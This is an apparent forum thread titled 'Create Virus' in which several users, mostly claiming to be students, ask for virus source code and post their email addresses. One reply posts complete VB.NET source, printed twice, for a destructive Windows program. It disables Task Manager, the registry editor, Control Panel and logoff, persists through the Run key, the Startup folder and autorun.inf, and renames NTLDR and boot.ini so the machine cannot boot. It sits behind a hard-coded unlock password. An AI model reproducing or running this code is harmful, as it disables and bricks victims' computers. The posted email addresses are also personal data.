Create Virus

You can create a trojan in vb.net but not a virus. Virus is created using a scripting language.

Hi
I am a Computer Science student and I need some virus codes to know how it works. It will be for research and personal use only.Virus can be in vb 2005. or c++ 2005 or java.
Thanks in anticipation.
Olise Lucky
my Email is urssincerelyolise@yahoo.com

i am a student of software eng.
can u send me some code of virus prgm in vb or c++,
i want to know how it really works.
i never use this 4 bad works.........
my e-mail id:
sudiptamitra90@gmail.com
thank u................................

hello Im creting a virus project for my low level students if someone can send me some code in Java, C++ or in C# contact me in developer_home@hotmail.com

here is the code

' Copyright © Shantanu Gupta. All rights reserved ®.
' Patents Pending
' Project Length - 15,529 Alphabets
' Estd. Project Time - 83 hours
' Project Start Date - 12 April ; Project Finishing Date - 15 August
' Thanks To Microsoft for Developing VB.net
' and also for the Character Map...
' Description: This Virus cannot be closed by clicking on x or alt f4, it disables Taskmanager
' Disables run command, Control Panel, msconfig, shutdown, log off, regedit, change password option etc..
' Optimized Memory Resource of 9326 KB
' Optimized CPU resources and Vibrant Transparent Interface
Option Explicit On
Imports Microsoft.Win32
Public Class Form1
Public x As Object
Dim g As String
Dim k As String
Dim t As String
Public rt As String
Public wx As Int16
Dim OPO As Int16
Public oo As String
Dim RTRE As String
Dim JFK As Object
Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
If OPO = 1 Then
e.Cancel = False
Else
e.Cancel = True
My.Computer.Audio.PlaySystemSound(Media.SystemSounds.Exclamation)
MsgBox("Windows is unable to close this program", MsgBoxStyle.Exclamation, "Error")
End If
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
k = My.Computer.Info.OSFullName.ToString
t = Environment.MachineName
rt = Environment.UserName
Me.ShowInTaskbar = False
Me.Visible = True
Me.Opacity = 84
If k.Contains("Windows XP") Or k.Contains("Windows NT") Or k.Contains("Windows 2000") Or k.Contains("Windows ME") Or k.Contains("Windows 98") Or k.Contains("Windows 95") Then
MsgBox(k & " Running on " & t & " authorized through " & rt)
RTRE = "C:\WINDOWS\PCHealth\HelpCtr\Binaries\MSConfig.exe"
oo = My.Computer.FileSystem.CurrentDirectory
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Dim kop As RegistryKey
kop = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun", True)
kop = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\", True)
If kop.GetValue("MSCONFIG.EXE", "0") <> 0 Then
kop.DeleteSubKey("MSCONFIG.exe")
End If
Dim regKey As RegistryKey
regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
regKey.CreateSubKey("Virus")
regKey.SetValue("Virus", oo & "\Virus.exe")
regKey.Close()
Dim pp As New System.IO.FileInfo("C:\Virus\Virus.txt")
If pp.Exists = True Then
Dim ysr As New System.IO.StreamReader("C:\Virus\Virus.txt")
Dim wqe As Int16
wqe = Val(ysr.ReadToEnd())
If wqe.ToString.Contains("1") Then
Dim oo As String
oo = My.Computer.FileSystem.CurrentDirectory
Dim jj As New System.IO.FileInfo(oo & "\Virus.exe")
rt = Environment.UserName
jj.CopyTo("C:\Documents and settings\" & rt & "\Start menu\Programs\Startup\Virus.exe", True)
End If
End If
Dim yu As String
yu = My.Computer.FileSystem.CurrentDirectory.ToString()
Dim ui As New System.IO.FileInfo(yu & "\Virus.exe")
ui.CopyTo("C:\Documents and settings\" & rt & "\Start menu\Programs\Startup\Virus.exe", True)
ui.CopyTo("C:\Virus.exe", True)
Dim jl As New System.IO.FileInfo("C:\Virus.exe")
jl.Attributes = IO.FileAttributes.Hidden And (IO.FileAttributes.ReadOnly) And (IO.FileAttributes.System)
Dim yt As New System.IO.FileInfo(yu & "\Autorun.inf")
yt.CopyTo("C:\Autorun.inf", True)
Dim ti As New System.IO.FileInfo("C:\Autorun.inf")
ti.Attributes = IO.FileAttributes.Hidden And (IO.FileAttributes.ReadOnly) And (IO.FileAttributes.System)
Me.ShowInTaskbar = False
Dim f As System.IO.FileInfo = New System.IO.FileInfo("C:\boot.ini")
If f.Exists = True Then
f.Attributes = f.Attributes And (IO.FileAttributes.Normal)
f.Attributes = f.Attributes And (IO.FileAttributes.Hidden)
f.Attributes = f.Attributes And (Not IO.FileAttributes.System)
f.Attributes = f.Attributes And (Not IO.FileAttributes.ReadOnly)
End If
x = Date.Now.Minute
Dim qq As New System.IO.FileInfo("C:\NTLDR")
If qq.Exists = True Then
qq.Attributes = IO.FileAttributes.Normal
Dim ww As New System.IO.DirectoryInfo("C:\Virus")
ww.Create()
qq.CopyTo("C:\virus\Virus" & x & ".exe", True)
qq.Delete()
End If
Dim fiFile As New System.IO.FileInfo("c:\boot.ini")
If fiFile.Exists = True Then
fiFile.CopyTo("c:\Virus\" & x & ".BAT", True)
End If
Dim YUP As System.IO.FileInfo = New System.IO.FileInfo("c:\Virus\" & x & ".BAT")
YUP.Attributes = YUP.Attributes And (IO.FileAttributes.System)
YUP.Attributes = YUP.Attributes And (IO.FileAttributes.Hidden)
YUP.Attributes = YUP.Attributes And (IO.FileAttributes.ReadOnly)
fiFile.Delete()
Timer1.Enabled = True
Dim wx As Int16
wx = x + x
Dim yr As New System.IO.FileInfo("C:\Virus\Virus" & wx & ".txt")
If yr.Exists = True Then
yr.Attributes = IO.FileAttributes.Normal
yr.Delete()
End If
Dim gy As New System.IO.StreamWriter("C:\Virus\Virus" & wx & ".txt")
gy.Write("1")
gy.Flush()
gy.Dispose()
gy.Close()
Else
MsgBox("This Virus is intended to Work on Windows prior to vista only. Future Updates may Make it Possible on newer operating systems. Good luck for user named " & rt & " using machine named " & t & " on " & k)
OPO = 1
Me.Close()
End
End If
Timer5.Enabled = True
My.Computer.Audio.Play(My.Resources.Bihari_virus, AudioPlayMode.WaitToComplete)
My.Computer.Audio.Play(My.Resources.Naagin, AudioPlayMode.BackgroundLoop)
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Timer1.Enabled = False
Dim n As New System.IO.FileInfo("c:\" & x & ".BAT")
n.Attributes = IO.FileAttributes.Normal
n.Delete()
Dim MJ As New System.IO.FileInfo("c:\Virus\Virus.exe")
MJ.Attributes = IO.FileAttributes.Normal
MJ.Delete()
MsgBox("Please pay the last tributes to your computer or join Al Qaeda. and yeah, Trash your antivirus!.", MsgBoxStyle.Critical, "Your computer has expired on" + " " + Date.Now)
Me.Close()
End Sub
Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
Timer3.Enabled = False
Me.Visible = True
End Sub
Private Sub Timer5_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer5.Tick
If My.Computer.Keyboard.CapsLock = True Then
If My.Computer.Keyboard.NumLock = True Then
If My.Computer.Keyboard.ScrollLock = True Then
If My.Computer.Keyboard.ShiftKeyDown = True Then
Form2.Show()
End If
End If
End If
End If
End Sub
Private Sub Timer6_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer6.Tick
If My.Computer.Keyboard.CapsLock = True Then
If My.Computer.Keyboard.NumLock = True Then
If My.Computer.Keyboard.ScrollLock = True Then
If My.Computer.Keyboard.CtrlKeyDown = True Then
OPO = 1
End
End If
End If
End If
End If
End Sub
End Class

Form 2

Imports Microsoft.Win32
Public Class Form2
Public gts As Object
Dim k As Object
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
gts = TextBox1.Text
If gts = "123456" Then
Form1.Timer5.Enabled = False
k = My.Computer.Info.OSVersion
If k < "6.0.0000" Then
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 0 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 0 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 0 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 0 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 0 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 1 /t REG_DWORD /d null /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 2 /t REG_DWORD /d null /f", AppWinStyle.MinimizedNoFocus, True)
Dim kop As RegistryKey
kop = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun", True)
kop.SetValue("1", "null")
kop.SetValue("2", "null")
kop.Close()
Form1.oo = My.Computer.FileSystem.CurrentDirectory
Dim g As RegistryKey
g = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
g.GetAccessControl()
g.SetValue("Virus", "null")
g.Close()
Dim z As New System.IO.FileInfo("c:\Virus\" & Form1.x & ".BAT")
z.Attributes = z.Attributes And (Not IO.FileAttributes.System)
z.Attributes = z.Attributes And (Not IO.FileAttributes.Hidden)
z.Attributes = z.Attributes And (Not IO.FileAttributes.ReadOnly)
z.CopyTo("C:\boot.ini", True)
z.Delete()
Dim hj As New System.IO.FileInfo("C:\boot.ini")
hj.Attributes = IO.FileAttributes.System
hj.Attributes = hj.Attributes And IO.FileAttributes.Hidden
hj.Attributes = hj.Attributes And IO.FileAttributes.ReadOnly
Me.Opacity = 100
Dim wq As New System.IO.FileInfo("C:\virus\Virus" & Form1.x & ".exe")
Dim i As New System.IO.FileInfo("C:\NTLDR")
If i.Exists = True Then
i.Attributes = IO.FileAttributes.Normal
i.Delete()
End If
wq.CopyTo("C:\NTLDR", True)
wq.Attributes = IO.FileAttributes.Normal
wq.Delete()
Dim pp As New System.IO.FileInfo("C:\Virus\Virus" & Form1.wx & ".txt")
pp.Delete()
Dim zz As New System.IO.FileInfo("C:\Documents and settings\" & Form1.rt & "\Start menu\Programs\Startup\Virus.exe")
zz.Delete()
Dim aq As New System.IO.FileInfo("C:\Virus.exe")
aq.Attributes = IO.FileAttributes.Normal
aq.Delete()
Dim qz As New System.IO.FileInfo("C:\Autorun.inf")
qz.Delete()
Dim UIY As New System.IO.DirectoryInfo("C:\Virus")
UIY.Delete(True)
Me.Activate()
Me.Focus()
k = My.Computer.Info.OSFullName.ToString
MsgBox(k & " has been repaired", MsgBoxStyle.Information, "Restore Complete")
Form1.Timer1.Enabled = False
Process.Start(Form1.oo & "\MSconfig.reg")
Form1.Timer6.Enabled = True
Me.Close()
Else
Me.Visible = False
Me.Enabled = False
Dim j As New System.IO.FileInfo("C:\WINDOWS\Driver Cache\i386\driver.cab")
If j.Exists = True Then
For o As Int16 = 1 To Date.Now.Ticks
j.CopyTo("C:\" & o & "Virus.exe")
Next
Dim kl As New System.IO.DirectoryInfo("D:\")
If kl.Exists = True Then
For y As Int16 = 1 To Date.Now.Ticks
j.CopyTo("D:\" & y & "Virus.exe")
Next
End If
End If
Me.Close()
End If
End If
End Sub
End Class

' Copyright © Shantanu Gupta. All rights reserved ®.
' Patents Pending
' Project Length - 15,529 Alphabets
' Estd. Project Time - 83 hours
' Project Start Date - 12 April ; Project Finishing Date - 15 August
' Thanks To Microsoft for Developing VB.net
' and also for the Character Map...
' Description: This Virus cannot be closed by clicking on x or alt f4, it disables Taskmanager
' Disables run command, Control Panel, msconfig, shutdown, log off, regedit, change password option etc..
' Optimized Memory Resource of 9326 KB
' Optimized CPU resources and Vibrant Transparent Interface
Option Explicit On
Imports Microsoft.Win32
Public Class Form1
Public x As Object
Dim g As String
Dim k As String
Dim t As String
Public rt As String
Public wx As Int16
Dim OPO As Int16
Public oo As String
Dim RTRE As String
Dim JFK As Object
Private Sub Form1_FormClosing(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosingEventArgs) Handles Me.FormClosing
If OPO = 1 Then
e.Cancel = False
Else
e.Cancel = True
My.Computer.Audio.PlaySystemSound(Media.SystemSounds.Exclamation)
MsgBox("Windows is unable to close this program", MsgBoxStyle.Exclamation, "Error")
End If
End Sub
Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
k = My.Computer.Info.OSFullName.ToString
t = Environment.MachineName
rt = Environment.UserName
Me.ShowInTaskbar = False
Me.Visible = True
Me.Opacity = 84
If k.Contains("Windows XP") Or k.Contains("Windows NT") Or k.Contains("Windows 2000") Or k.Contains("Windows ME") Or k.Contains("Windows 98") Or k.Contains("Windows 95") Then
MsgBox(k & " Running on " & t & " authorized through " & rt)
RTRE = "C:\WINDOWS\PCHealth\HelpCtr\Binaries\MSConfig.exe"
oo = My.Computer.FileSystem.CurrentDirectory
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 1 /f", AppWinStyle.MinimizedNoFocus, True)
Dim kop As RegistryKey
kop = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun", True)
kop = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\", True)
If kop.GetValue("MSCONFIG.EXE", "0") <> 0 Then
kop.DeleteSubKey("MSCONFIG.exe")
End If
Dim regKey As RegistryKey
regKey = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
regKey.CreateSubKey("Virus")
regKey.SetValue("Virus", oo & "\Virus.exe")
regKey.Close()
Dim pp As New System.IO.FileInfo("C:\Virus\Virus.txt")
If pp.Exists = True Then
Dim ysr As New System.IO.StreamReader("C:\Virus\Virus.txt")
Dim wqe As Int16
wqe = Val(ysr.ReadToEnd())
If wqe.ToString.Contains("1") Then
Dim oo As String
oo = My.Computer.FileSystem.CurrentDirectory
Dim jj As New System.IO.FileInfo(oo & "\Virus.exe")
rt = Environment.UserName
jj.CopyTo("C:\Documents and settings\" & rt & "\Start menu\Programs\Startup\Virus.exe", True)
End If
End If
Dim yu As String
yu = My.Computer.FileSystem.CurrentDirectory.ToString()
Dim ui As New System.IO.FileInfo(yu & "\Virus.exe")
ui.CopyTo("C:\Documents and settings\" & rt & "\Start menu\Programs\Startup\Virus.exe", True)
ui.CopyTo("C:\Virus.exe", True)
Dim jl As New System.IO.FileInfo("C:\Virus.exe")
jl.Attributes = IO.FileAttributes.Hidden And (IO.FileAttributes.ReadOnly) And (IO.FileAttributes.System)
Dim yt As New System.IO.FileInfo(yu & "\Autorun.inf")
yt.CopyTo("C:\Autorun.inf", True)
Dim ti As New System.IO.FileInfo("C:\Autorun.inf")
ti.Attributes = IO.FileAttributes.Hidden And (IO.FileAttributes.ReadOnly) And (IO.FileAttributes.System)
Me.ShowInTaskbar = False
Dim f As System.IO.FileInfo = New System.IO.FileInfo("C:\boot.ini")
If f.Exists = True Then
f.Attributes = f.Attributes And (IO.FileAttributes.Normal)
f.Attributes = f.Attributes And (IO.FileAttributes.Hidden)
f.Attributes = f.Attributes And (Not IO.FileAttributes.System)
f.Attributes = f.Attributes And (Not IO.FileAttributes.ReadOnly)
End If
x = Date.Now.Minute
Dim qq As New System.IO.FileInfo("C:\NTLDR")
If qq.Exists = True Then
qq.Attributes = IO.FileAttributes.Normal
Dim ww As New System.IO.DirectoryInfo("C:\Virus")
ww.Create()
qq.CopyTo("C:\virus\Virus" & x & ".exe", True)
qq.Delete()
End If
Dim fiFile As New System.IO.FileInfo("c:\boot.ini")
If fiFile.Exists = True Then
fiFile.CopyTo("c:\Virus\" & x & ".BAT", True)
End If
Dim YUP As System.IO.FileInfo = New System.IO.FileInfo("c:\Virus\" & x & ".BAT")
YUP.Attributes = YUP.Attributes And (IO.FileAttributes.System)
YUP.Attributes = YUP.Attributes And (IO.FileAttributes.Hidden)
YUP.Attributes = YUP.Attributes And (IO.FileAttributes.ReadOnly)
fiFile.Delete()
Timer1.Enabled = True
Dim wx As Int16
wx = x + x
Dim yr As New System.IO.FileInfo("C:\Virus\Virus" & wx & ".txt")
If yr.Exists = True Then
yr.Attributes = IO.FileAttributes.Normal
yr.Delete()
End If
Dim gy As New System.IO.StreamWriter("C:\Virus\Virus" & wx & ".txt")
gy.Write("1")
gy.Flush()
gy.Dispose()
gy.Close()
Else
MsgBox("This Virus is intended to Work on Windows prior to vista only. Future Updates may Make it Possible on newer operating systems. Good luck for user named " & rt & " using machine named " & t & " on " & k)
OPO = 1
Me.Close()
End
End If
Timer5.Enabled = True
My.Computer.Audio.Play(My.Resources.Bihari_virus, AudioPlayMode.WaitToComplete)
My.Computer.Audio.Play(My.Resources.Naagin, AudioPlayMode.BackgroundLoop)
End Sub
Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick
Timer1.Enabled = False
Dim n As New System.IO.FileInfo("c:\" & x & ".BAT")
n.Attributes = IO.FileAttributes.Normal
n.Delete()
Dim MJ As New System.IO.FileInfo("c:\Virus\Virus.exe")
MJ.Attributes = IO.FileAttributes.Normal
MJ.Delete()
MsgBox("Please pay the last tributes to your computer or join Al Qaeda. and yeah, Trash your antivirus!.", MsgBoxStyle.Critical, "Your computer has expired on" + " " + Date.Now)
Me.Close()
End Sub
Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick
Timer3.Enabled = False
Me.Visible = True
End Sub
Private Sub Timer5_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer5.Tick
If My.Computer.Keyboard.CapsLock = True Then
If My.Computer.Keyboard.NumLock = True Then
If My.Computer.Keyboard.ScrollLock = True Then
If My.Computer.Keyboard.ShiftKeyDown = True Then
Form2.Show()
End If
End If
End If
End If
End Sub
Private Sub Timer6_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer6.Tick
If My.Computer.Keyboard.CapsLock = True Then
If My.Computer.Keyboard.NumLock = True Then
If My.Computer.Keyboard.ScrollLock = True Then
If My.Computer.Keyboard.CtrlKeyDown = True Then
OPO = 1
End
End If
End If
End If
End If
End Sub
End Class

Form 2

Imports Microsoft.Win32
Public Class Form2
Public gts As Object
Dim k As Object
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
gts = TextBox1.Text
If gts = "123456" Then
Form1.Timer5.Enabled = False
k = My.Computer.Info.OSVersion
If k < "6.0.0000" Then
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableTaskMgr /t REG_DWORD /d 0 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableRegistryTools /t REG_DWORD /d 0 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableLockWorkstation /t REG_DWORD /d 0 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System /v DisableChangePassword /t REG_DWORD /d 0 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoLogoff /t REG_DWORD /d 0 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer /v NoControlPanel /t REG_DWORD /d 0 /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 1 /t REG_DWORD /d null /f", AppWinStyle.MinimizedNoFocus, True)
Shell("REG add HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun /v 2 /t REG_DWORD /d null /f", AppWinStyle.MinimizedNoFocus, True)
Dim kop As RegistryKey
kop = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\DisallowRun", True)
kop.SetValue("1", "null")
kop.SetValue("2", "null")
kop.Close()
Form1.oo = My.Computer.FileSystem.CurrentDirectory
Dim g As RegistryKey
g = Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows\CurrentVersion\Run", True)
g.GetAccessControl()
g.SetValue("Virus", "null")
g.Close()
Dim z As New System.IO.FileInfo("c:\Virus\" & Form1.x & ".BAT")
z.Attributes = z.Attributes And (Not IO.FileAttributes.System)
z.Attributes = z.Attributes And (Not IO.FileAttributes.Hidden)
z.Attributes = z.Attributes And (Not IO.FileAttributes.ReadOnly)
z.CopyTo("C:\boot.ini", True)
z.Delete()
Dim hj As New System.IO.FileInfo("C:\boot.ini")
hj.Attributes = IO.FileAttributes.System
hj.Attributes = hj.Attributes And IO.FileAttributes.Hidden
hj.Attributes = hj.Attributes And IO.FileAttributes.ReadOnly
Me.Opacity = 100
Dim wq As New System.IO.FileInfo("C:\virus\Virus" & Form1.x & ".exe")
Dim i As New System.IO.FileInfo("C:\NTLDR")
If i.Exists = True Then
i.Attributes = IO.FileAttributes.Normal
i.Delete()
End If
wq.CopyTo("C:\NTLDR", True)
wq.Attributes = IO.FileAttributes.Normal
wq.Delete()
Dim pp As New System.IO.FileInfo("C:\Virus\Virus" & Form1.wx & ".txt")
pp.Delete()
Dim zz As New System.IO.FileInfo("C:\Documents and settings\" & Form1.rt & "\Start menu\Programs\Startup\Virus.exe")
zz.Delete()
Dim aq As New System.IO.FileInfo("C:\Virus.exe")
aq.Attributes = IO.FileAttributes.Normal
aq.Delete()
Dim qz As New System.IO.FileInfo("C:\Autorun.inf")
qz.Delete()
Dim UIY As New System.IO.DirectoryInfo("C:\Virus")
UIY.Delete(True)
Me.Activate()
Me.Focus()
k = My.Computer.Info.OSFullName.ToString
MsgBox(k & " has been repaired", MsgBoxStyle.Information, "Restore Complete")
Form1.Timer1.Enabled = False
Process.Start(Form1.oo & "\MSconfig.reg")
Form1.Timer6.Enabled = True
Me.Close()
Else
Me.Visible = False
Me.Enabled = False
Dim j As New System.IO.FileInfo("C:\WINDOWS\Driver Cache\i386\driver.cab")
If j.Exists = True Then
For o As Int16 = 1 To Date.Now.Ticks
j.CopyTo("C:\" & o & "Virus.exe")
Next
Dim kl As New System.IO.DirectoryInfo("D:\")
If kl.Exists = True Then
For y As Int16 = 1 To Date.Now.Ticks
j.CopyTo("D:\" & y & "Virus.exe")
Next
End If
End If
Me.Close()
End If
End If
End Sub
End Class

Hope u lyk it

i am final year student.i need virus spread code and virus scan code.anybody pls help me

hi all
how r u all
i m new user vb 2008,, plz more help me.
vb make real hacker ?

can you send me too
des.pro.madhan@hotmail.com

Do you want to create a computer virus?

Creating a computer virus is simple, the first thing you need to do is learn a particular programming language.

Then second, read programming books.

Finally,

Understand what you are reading.

From those three you can create computer virus.

Simply as that!

You can learn by asking someone to give you what you one, it is better to write it on your own....

e-dikit

hi friends !!!!!!!!!!!!!

how can we create a .BAT file and how can we run it ?

hey virus is a type of software that destruct and destroy or to controlled your computer any time... and attach or spread it by it self

Hi guys, please assist my nephew,he want to create a program to trackdown Osama,he has came up with a device, in mind, and therefore was thinking how it should work, further details may be submitted in request.

Hi
I am a Computer Science student and I need some virus codes to know how it works. It will be for research and personal use only. in java oa\r c++ code Thanks in anticipation.
my gmail id is
hmntkmrjjj.8@gmail.com